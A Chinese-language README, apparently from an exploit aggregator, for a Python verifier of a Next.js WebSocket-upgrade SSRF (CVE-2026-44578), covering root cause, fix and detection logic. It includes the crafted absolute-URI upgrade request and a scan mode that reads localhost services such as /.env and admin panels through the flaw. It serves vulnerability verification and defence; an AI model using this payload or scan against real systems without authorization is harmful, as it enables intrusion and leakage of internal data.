## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PANCHOCOSIL-VERIFY-GHSA-C4J6-FC7J-M34R
# verify-ghsa-c4j6-fc7j-m34r
针对 **GHSA-c4j6-fc7j-m34r** / **CVE-2026-44578** 的带内(in-band)验证器 —— Next.js 中经由 WebSocket 升级请求实现的服务器端请求伪造(SSRF)。
> ⚠️ 仅限已获授权的安全测试。你需自行确保拥有对传入本脚本的每个目标进行测试的权限。
## 漏洞详情
字段| 值
---|---
CVE| CVE-2026-44578
GHSA| GHSA-c4j6-fc7j-m34r
CWE| CWE-918 (SSRF)
CVSS v3.1| 8.6 (高) — `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N`
受影响版本| `next >=13.4.13 <15.5.16`, `>=16.0.0 <16.2.5`
已修复版本| `15.5.16`, `16.2.5`
修复提交| `c4f69086`
不受影响| Vercel 托管;`output: "export"`;位于不转发 `Upgrade` 的反向代理之后的部署
### 该漏洞的实际原理(已针对 15.5.15 与 15.5.16 进行实证验证)
1. 攻击者与自托管的 Next.js 进程建立 TCP 连接,并发送一个请求行(request-URI)为绝对 URL 的 HTTP/1.1 WebSocket 升级请求:
root@kitploit:~
GET http://anything/<path> HTTP/1.1
Host: <target>
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
2. 在 `resolveRoutes` 中,URL 包含 `//`(所有绝对 URI 均如此),因而匹配“规范化重复斜杠”分支。该分支提前返回 `{ finished: true, statusCode: 308, parsedUrl: <mangled> }`。规范化器将 `http://host/path` 折叠为 `http:/host/path`(仅一个斜杠)。
3. 在 `router-server.ts` 中,**补丁前** 的升级处理器忽略了 `finished`/`statusCode`,仅检查 `parsedUrl.protocol`。由于协议在规范化后仍然保留,因此它会调用 `proxyRequest(...)`。
4. `proxyRequest` 对损坏后的 URL 执行 `url.format(parsedUrl)`,得到 `http:/host:port/path`。`http-proxy` 解析该目标后,发现其中没有 host(`url.parse('http:/...').host === null`),于是回退到其默认目标:**`localhost:80`** (对于 `https` 则为 `localhost:443`)。
5. 因此,在实践中,该 SSRF 可让攻击者使 Next 向 **Next.js 主机自身的`localhost:80` / `localhost:443`** 发起 WebSocket 升级,并携带攻击者控制的路径。
**修复方案** (提交 `c4f69086`)让升级处理器在代理前检查 `finished && !statusCode`。308 规范化场景现在无法通过 `!statusCode` 检查,套接字将被直接关闭。
### 为何基于回调的带外(OOB)验证器不适用于本 CVE
该代理永远不会访问外部主机。如果你搭建 interactsh / Burp Collaborator / webhook 探针并期望 Next 进程回连,**它不会** ——连接只会到达目标机器上的 `localhost`。因此,本验证器使用从升级套接字读取的**带内信号** :存在漏洞的服务器会返回可辨识的错误响应体,已修复的服务器则不返回任何内容。
### 实际影响
SSRF 目标受限,但真实部署中仍有意义:
* 与 Next 同宿主部署的 sidecar 容器 / 反向代理 / 管理面板,若它们绑定 `127.0.0.1:80` 或 `:443` 且信任源自 localhost 的请求。
* 通过 HTTP 暴露在 `127.0.0.1:80` 上的 Docker 套接字(不常见但确实存在)。
* 利用攻击者控制的 URI 路径与 WebSocket 升级语义,对任意 localhost HTTP 服务进行路径遍历。
AWS / GCP / Azure 元数据端点(`169.254.169.254`)**无法** 直接到达,因为该漏洞将目标固定为 localhost。
## 检测模型
对于每个目标,脚本会打开一个原始 TCP(或 TLS)套接字,发送构造好的升级请求,读取响应,并产生两个信号:
* **`verdict`** — 漏洞是否存在。
* **`impact_confirmed`** — SSRF 是否实际泄露了数据(即目标 `localhost:80/443` 上的共存服务是否应答,且我们是否读回了其响应)。
响应| 判定 (verdict)| `impact_confirmed`
---|---|---
包含 `Internal Server Error`| `vulnerable`| `false` — 漏洞已证实,但代理在 localhost 上未命中任何服务
以 `HTTP/1.` 开头| `vulnerable_proxy_succeeded`| `true` — 已泄露真实响应数据
空响应 / 正常关闭| `likely_patched`| `false` — 同样覆盖“非 Next”“反向代理剥离 Upgrade”“Vercel”等情况
与无 Upgrade 的对照组一致| `front_end_intercepts`| `false` — 前端代理短路了两种探测;SSRF 从未到达 Next
其他情况| `inconclusive`| `false`
当 `impact_confirmed` 为 true 时,JSON 输出还会包含从泄露响应中解析出的 `upstream_status`、`upstream_server` 与 `upstream_content_type`(便于分类与撰写报告)。
### 前端代理误报防护
默认情况下,每个目标还会收到一条**对照探针** :使用相同的绝对 URI 请求行,但不携带 Upgrade 头(`Connection: close`)。如果前端对两条探针返回相同响应(状态行 + 容差范围内的长度),则说明目标主机自身的前端(nginx 400、Apache 400、CDN 边缘节点)拒绝了绝对 URI 请求行,SSRF 从未到达 Next。此时判定降级为 `front_end_intercepts`,JSON 输出中会包含从代理响应解析出的 `front_end_status` 与 `front_end_server`,以便操作者识别是哪个组件在拦截。
这消除了一个真实世界中观察到的误报场景:当自托管 Next 位于 nginx/Apache 之后时,这些代理会以通用 400 拒绝探针的 `GET http:///x HTTP/1.1` 请求行,而此前的检测器会将其误读为 `vulnerable_proxy_succeeded`。传入 `--no-control-probe` 可退出该防护并查看原始判定。
## 环境要求
* Python 3.10+
* 无第三方依赖(仅标准库)
## 用法
root@kitploit:~
# 单目标
python3 verify_ghsa_c4j6.py --target https://app.example.com
# 通过重复参数指定多个目标
python3 verify_ghsa_c4j6.py \
--target https://app1.example.com \
--target app2.example.com:3000 \
--target 10.0.0.5:80
# 从文件读取(每行一个目标;'#' 开头为注释)
python3 verify_ghsa_c4j6.py --targets-file targets.txt
# 从标准输入读取
cat targets.txt | python3 verify_ghsa_c4j6.py
# JSON Lines 输出,便于下游工具处理
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json
# 通过该漏洞枚举目标 localhost:80/443 上的共存服务
python3 verify_ghsa_c4j6.py --target https://app.example.com --scan
# 同上,但使用自定义路径列表
python3 verify_ghsa_c4j6.py --target ... --scan-paths-file my_paths.txt
### 扫描模式
`--scan` 通过该 SSRF 探针探测一组内置的常见路径(Apache/nginx 状态模块、健康与指标端点、Spring Boot Actuator、Go pprof、Docker 守护进程端点、常见管理面板、易泄露的配置文件、Elasticsearch 路由等)。
默认情况下,扫描模式会对每个目标额外发送一条**差分基线** 探针(随机不存在的路径)。后续探针仅当 `(status, body length)` 签名与基线存在差异时才会被标记为 `DIFF` —— 来自“未命中任何内容”的上游服务的统一 404 会被标记为 `noise`,不会虚增命中计数。传入 `--no-differential` 可报告所有到达服务的探针(旧版行为)。
输出按目标分组:
root@kitploit:~
=== vulnscope.local:3030 ===
baseline (random path): verdict=vulnerable_proxy_succeeded status=404 bytes≈500
[VULN+] DIFF / impact=YES status=200 ct='text/html'
[VULN+] DIFF /.env impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /admin impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /index.html impact=YES status=200 ct='text/html'
[VULN+] DIFF /server-status impact=YES status=200 ct='application/octet-stream'
[VULN+] noise /_health impact=YES status=404 ct='text/html;charset=utf-8'
[VULN+] noise /actuator/env impact=YES status=404 ct='text/html;charset=utf-8'
... (另有 53 个 404 'noise' 路径已省略) ...
-> 5 个差分命中 / 58 条探针
-> 观察到的上游服务器: SimpleHTTP/0.6 Python/3.14.4
`DIFF` 行才是真正的命中 —— 即响应与随机路径基线存在差异(状态码不同或响应体长度不同)的路径。`noise` 行虽然也到达了某个 HTTP 服务,但产生的响应与基线相同 —— 通常是不值得关注的一律 404。当所有探针均为 `noise` 且不存在基线差异时,漏洞仍然存在,但该主机的 `localhost:80/443` 上没有有用的服务在监听。
### 参数
参数| 说明| 默认值
---|---|---
`--target URL`| 单个目标。可重复传入多个。| —
`--targets-file PATH`| 每行一个目标的文件。| —
`--probe-path PATH`| 构造绝对 URI 时使用的路径。将以该路径访问目标的 localhost 服务(按每目标令牌后缀记录日志)。| `/x`
`--scan`| 枚举各目标 localhost 服务上的常见路径。每个目标发送一条差分基线探针及路径列表。| 关
`--scan-paths-file PATH`| 扫描模式的自定义路径列表(每行一个)。隐含 `--scan`。| 内置
`--no-differential`| 在 `--scan` 模式下跳过基线探针,报告所有到达服务的探针(旧版行为)。| 关
`--no-control-probe`| 关闭前端短路防护(每个目标额外发送一条无 Upgrade 的探针)。当目标确认是直连的 Next 进程时使用。| 关
`--timeout SEC`| 每个套接字的超时时间。| `5`
`--concurrency N`| 并行探针数。| `10`
`--insecure`| 跳过 TLS 证书校验。使用 `--proxy` 对 TLS 进行中间人时必需。| 关
`--proxy URL`| 通过 HTTP CONNECT 代理隧道(Burp / mitmproxy / ZAP)。支持通过 `http://user:pass@host:port` 使用基本认证。TLS 目标要求 Python 3.11+。| 直连
`--json`| 以 JSON Lines 而非人类可读文本输出。| 关
目标可以是 `host`、`host:port` 或完整的 `http(s)://...` URL。
### 代理支持
将所有探针通过 HTTP CONNECT 代理隧道,以便在 Burp / mitmproxy / OWASP ZAP 中检查:
root@kitploit:~
# 经由 Burp 测试明文 HTTP 目标
python3 verify_ghsa_c4j6.py --target http://app.example.com --proxy http://127.0.0.1:8080
# 经由 Burp 测试 HTTPS 目标(Burp 对 TLS 进行中间人 —— 需要 --insecure 或安装 Burp CA)
python3 verify_ghsa_c4j6.py --target https://app.example.com --proxy http://127.0.0.1:8080 --insecure
# 带基本认证的代理
python3 verify_ghsa_c4j6.py --target ... --proxy http://user:some-email@example.com:3128
代理会看到一个 `CONNECT host:port`,随后是原始升级载荷 —— 当你希望 Burp 记录/重放/修改 SSRF 探针时非常有用。
## 本地复现
你可以用五条命令搭建一个带漏洞的实验室环境:
root@kitploit:~
mkdir vuln-lab && cd vuln-lab
npm init -y && npm i some-email@example.com react@19 react-dom@19
mkdir pages && echo 'export default () => "ok"' > pages/index.js
npx next build && npx next start -p 3030 &
python3 ../verify_ghsa_c4j6.py --target 127.0.0.1:3030
输出:
root@kitploit:~
[ VULN] target=127.0.0.1:3030 verdict=vulnerable impact= no
snippet: 'Internal Server Error'
换用 `some-email@example.com` 重复上述步骤,应看到 `verdict=likely_patched`。
### 影响演示(真实数据泄露)
`demo_impact.sh` 将 Next 运行在 `:80` 上(这样其被固定到 localhost 的 SSRF 目标 _就是_ Next 自身进程),并经由该漏洞读回 Next 自己的 HTML。需要 `sudo` 以绑定特权端口。
root@kitploit:~
LAB_DIR=/path/to/next-vuln-lab ./demo_impact.sh
预期输出以 `IMPACT CONFIRMED — SSRF reached a service on the target localhost and read response data back` 结尾。
## 注意事项
* **漏报** :Next 前任何不转发 `Upgrade` 头的反向代理都会掩盖该漏洞;脚本将报告 `likely_patched`。如有可能,请直接对 Next 进程重新测试。
* **误报** :字面量字符串 `Internal Server Error` 理论上也可能由某个上游代理自行返回。为排除该情况,请以 `Connection: close`(而非 `Connection: Upgrade`)重新发送相同载荷 —— 真实的、存在漏洞的 Next 在此情形下将不再返回 Internal Server Error 响应体(走的是不同代码路径)。
* **仅支持 HTTP/2 的目标** :不在处理范围内。`next start` 默认使用 HTTP/1.1。
## 负责任使用
仅测试你拥有或已获得明确书面授权进行评估的系统。
## 参考
* 公告:https://github.com/advisories/GHSA-c4j6-fc7j-m34r
* Next.js v15.5.16 发布:https://github.com/vercel/next.js/releases/tag/v15.5.16
* Next.js v16.2.5 发布:https://github.com/vercel/next.js/releases/tag/v16.2.5
* 修复提交:https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8
## 许可证
MIT